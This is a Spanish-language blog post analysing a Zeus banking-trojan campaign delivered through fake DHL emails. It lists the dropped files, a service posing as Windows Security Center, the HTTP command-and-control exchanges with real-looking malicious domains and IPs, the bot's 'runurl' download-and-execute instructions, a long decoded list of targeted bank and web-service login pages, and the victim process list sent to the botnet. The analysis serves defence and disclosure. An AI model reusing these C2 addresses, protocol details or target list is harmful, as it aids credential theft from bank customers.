Otra campaña Zeus mediante correos de DHL falsos

Como ya pasó anteriormente con FedEX, UPS o el mismo DHL, Zeus nos vuelve a bombardear con nuevos scams por correo electrónico.

Como podéis ver en la imágen de la derecha, el mensaje con asunto 'DHL Servicios. Recoja su paquete postal NR60218', intenta convencer al usuario para que ejecute un programa que supuestamente imprime una etiqueta postal para poder recoger un paquete en Correos.

El ejecutable 'DHL_etiqueta.exe' se presenta con un icono de tipo excel. Ayer el ratio de detección de los antivirus rondaba el 30% y hoy ya ha aumentado hasta el 55,8%.

Si lo lanzamos, el ejecutable instalará fundamentalmente los ficheros %Temp%\1.tmp, %System%\qvuo.sbo (Mal/Oficla-A [Sophos]) y %System%\svrwsc.exe y creará un servicio para este último:

# [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SvrWsc]

* Type = 0x00000010
* Start = 0x00000002
* ErrorControl = 0x00000000
* ImagePath = ""%System%\svrwsc.exe""
* DisplayName = "Windows Security Center Service"
* ObjectName = "LocalSystem"
* Description = "The service provides COM APIs for independent software vendors to register and record the state of their products to the Security Center service."

Veamos ahora un resúmen de la cadena de conexiones:

Víctima: GET webauc.ru/mydog/bb.php?v=200&id=7x56x0x642&b=2110_es&tm=57 HTTP/1.1
Servidor1: HTTP/1.1 200 OK [info]runurl:http://91.204.48.46/test/morph.exe|taskid:16|delay:15|upd:0|backurls:[/info]

Víctima: GET 91.204.48.46/test/morph.exe HTTP/1.1
Servidor2: HTTP/1.1 200 OK

Víctima: GET webauc.ru/mydog/bb.php?v=200&id=x1563x6x2&tid=16&b=2110_es&r=1&tm=57 HTTP/1.1
Servidor1: HTTP/1.1 200 OK [info]kill:0|runurl:http://91.204.48.46/test/esmilk.exe|taskid:17|delay:15|upd:0|backurls:[/info]

Víctima: GET 91.204.48.46/test/esmilk.exe HTTP/1.1
Servidor2: HTTP/1.1 200 OK

De momento, los dos ejecutables descargados están limpios y parecen ser un binario de ping para IPv6.

A continuación se descarga un software de seguridad falso o rogue:

Víctima:     GET 188.65.74.163/avpsoft_dfhljkghsdflg.exe HTTP/1.0
Servidor3: HTTP/1.1 200 OK

Este fichero es detectado sólo por el 9,3% de los antivirus como 'Gen:Variant.Kazy.423'

Durante las siguientes peticiones, el malware recibirá los dominios que tiene que filtrar:

Víctima: GET mservicesonline.ru/f0rum/ess.jpg
Servidor4: HTTP/1.1 200 OK

Víctima: POST padreim.ru/us/federal/index.php HTTP/1.1
Servidor5: HTTP/1.1 200 OK

1f1e
.n....n.L.....*ebc_ebc1961*......*cibng.ibanking-services.com*......*springbankconnect.com*......*ibanking-services.com*......*mystreetscape.com*......*/inets/Login*......*business.macu.com*......*cnbsec1.cnbank.com*..
...*cnbank.com*......*scottvalleybank*......*hillsbank*..
...*efirstbank*......*addisonavenue.com*......*secure.fundsxpress.com*......*site-secure.com*......*umpquabank.com*......*fundsxpress.com*......*mystreetscape*......*treasurypathways.com*......*secure.ally.com*......*bankonline.umpquabank.com*......*servlet/teller*..
...*nsbank.com*......*comerica.com*......*cashmgt.firsttennessee*......*securentry.calbanktrust.com*..
...*securentry*......*express.53.com*......*homebank.nbg.gr*......*online.ccbank.bg*......*hsbc*......*ebanking.eurobank.gr*......*itreasury.regions.com*......*/Common/SignOn/Start.asp*......*wellsoffice.wellsfargo.com*......*chsec.wellsfargo.com*..
...*telepc.net*......*ceowt.wellsfargo.com*......*enterprise2.openbank.com*......*global1.onlinebank.com*..
...*webexpress*......*/sbuser/*..
...*webcash*......*www2.firstbanks.com/olb*..
...*bxs.com*......*PassMarkRecognized.aspx*......*businesslogin*..
...*hbcash.exe*......*otm.suntrust.com*......*wire*......*ACH*..
...*/inets/*..
...*corpACH*......*wcmfd/wcmpw/*..    ...*/IBWS/*......*/ibs.*..
...*/livewire/*..    ...*/olbb/*......*singlepoint.usbank.com*......*bolb.associatedbank.com*..*...*fnfgbusinessonline.enterprisebanker.com*......*lakecitybank.webcashmgmt.com*..
...*/inets/*......*bob.sovereignbank.com*......*cmserver*..    ...*CLKCCM*......*directline4biz.com*......*e-moneyger.com*..
...*cashman*......*securentrycorp.amegybank.com*......*netteller*......*onlineserv/CM*......*nubi*......*secure-banking*......*blilk*......*svbconnect.com*..
...*paypal.com*..7...*google.com/accounts/ServiceLoginAuth?service=adwords*......*PassMarkRecognized.aspx*......*businessonline.huntington*..$...*business-eb.ibanking-services.com*......*goldleaf*..
...*/webcm/*......*www.amegybank.com/*..
...*/wires/*......*bankbyweb*......*internet-ebanking.com*......*treasury.pncbank.com*......*sso.uboc*......*cashplus*......*bankofamerica.com*......*towernet.capitalonebank.com*......*nationalcity.com/consultnc*..$...*authmaster.nationalcity.com/tmgmt*......*businessonline.tdbank.com*......*treasurydirect.tdbank.com*..&...*express.53.com/express/logon.action*......*access.usbank.com*......*treasury.wamu.com*......*signatureny.web-access.com*......*commercial.wachovia.com*..(...*businessaccess.citibank.citigroup.com*..'...*chsec.wellsfargo.com/login/login.fcc*..$...*business-eb.ibanking-services.com*......*authmaster.nationalcity.com*......*banksterling*..&...*businessclassonline.compassbank.com*......*enterprise2.openbank.com*......*enterprise1.openbank.com*..&...*businessclassonline.compassbank.com*......*bb/logon*......*centralbank.gov.cy*.."...*securecy.hellenicnetbanking.com*......*laiki.com*......*bankofcyprus.com*..
...*jcc.com.cy*..
...*jcc.com*......*ibank.coop.com.cy*......*fbmedirect.com*......*alphabank.com.cy*......*probanx.com*......*sgcyprus.com*......*esgc.com*......*online.ccbank.bg*......*usbbank.com.cy*......*online.cdb.com.cy*..
...*cdb.com*......*apsbank.com.mt*......*apsbank.com*......*businessbanking.banif.com.mt*......*businessbanking.banif.com*..
...*bov.com*......*izolabank.com.mt*......*izolabank.com*......*online.barrington-bank.com*......*ibank.globalbank.ag*......*bancodicaribeonline.com*......*bancodevenezuela.com*..#...*mcbdirect.mcb-bank.com/business/*......*mcbdirect.mcb-bank.com*......*mcb-home.com*......*onlinebanking.orcobank.com*......*sft-ebanking.com*......*cmbdirect.cmbnv.com*......*direct.mcbgroup-ebanking.com*......*cmb-home.com*..*...*mcbdirect.mcb-bank.com/business/online/*......*mcbdirect.mcb-bank.com*......*direct.mcbgroup-ebanking.com*......*mcb-home.com*......*arubabank*......*cornerlink.ch*.."...*cornerlink.ch/ch/html/it/login/*......*cl1.corner.ch*......*corneronline.ch*......*ebank.sghambros.com*......*sghambros.com*......*ebanking-bs.ubs.com*......*winterbotham.com*......*claridenleu.directnet.com*......*interatlantic.atlabank.com*......*cayebank.bz*......*msblimited.com*......*pcbmyaccount.com*..!...*online.bcbankinternational.com*......*ebanking.caledonian.com*......*cibc.com*......*intlmlol.ml.com*..
...*.ml.com*..#...*olui2.fs.ml.com/login/login.aspx*......*ncbcayman.com*......*efginternational.com*......*efgoffshore.com*......*capitalsecuritybank.com*......*jyskebank.gi*..$...*online.leedsbuildingsociety.co.uk*......*ib.npbs.co.uk*......*bank.rbsbank.ae*......*eau.bnpparibas.com*......*login.banknetpower.net*......*login.smartbusiness.ae*......*banknetpower.net*......*smartbusiness.ae*......*bankfrick.li*......*claridenleu.directnet.com*......*rsa-ebanking.mbczh.ch*......*mbczh.ch*..
...*pictet.com*......*extranet.pictetfunds.com*......*privatea.pictet.com*......*sabadellatlantico.com*......*bancoherrero.com*......*solbank.com*......*activobank.com*......*bancourquijo.com*......*login.bhibank.com*......*bhibank.com*......*mybank.com.tw*......*arabi-online.com*......*hsh-nordbank.de*..
...*bcge.ch*......*efgbank.com*......*ebanking.neuebankag.li*......*ntrs.com*......*.microsoft.com*..
...*amazon.com*......*blogger.com*......*facebook.com*..
...*flickr.com*......*livejournal.com*......*myspace.com*......*youtube.com*......

Víctima: POST mservicesonline.ru/f0rum/gate.php HTTP/1.1
Server4: HTTP/1.1 200 OK

Echando un vistazo a la lista parece que no existe ninguna entidad bancaria española aunque, como podéis ver, no se limita sólo a este tipo de entidades: facebook, youtube, blogger, amazon, flickr, etc. entran también en el saco.

En la siguiente petición el servidor de la botnet obtendrá los procesos de la víctima:

Víctima: POST padreim.ru/us/federal/index.php HTTP/1.1
Servidor5: HTTP/1.1 200 OK

(..........."6.L.q..................(
..........H.......^.......^.......s.v.c.h.o.s.t...e.x.e.System
smss.exe csrss.exe winlogon.exe services.exe lsass.exe VBoxService.exe svchost.exe svchost.exe svchost.exe svchost.exe svchost.exe ISWSVC.exe spoolsv.exe svchost.exe FrameworkService.exe Mcshield.exe VsTskMgr.exe naPrdMgr.exe alg.exe ForceField.exe WgaTray.exe explorer.exe shstat.exe UdaterUI.exe VBoxTray.exe zlclient.exe Mctray.exe jusched.exe ctfmon.exe taskmgr.exe smsniff.exe wuauclt.exe vsmon.exe svchost.exe

POST padreim.ru/us/federal/index.php HTTP/1.1 s.v.c.h.o.s.t...e.x.e.1287614152
Server5: HTTP/1.1 200 OK

Finalmente heartbeats...

Víctima: GET webauc.ru/mydog/bb.php?v=200&id=715630642&b=2110_es&tm=72 HTTP/1.1
Server1: [info]delay:15|upd:0|backurls:[/info]

Y por último, podéis ver mayor detalle en Threatexpert.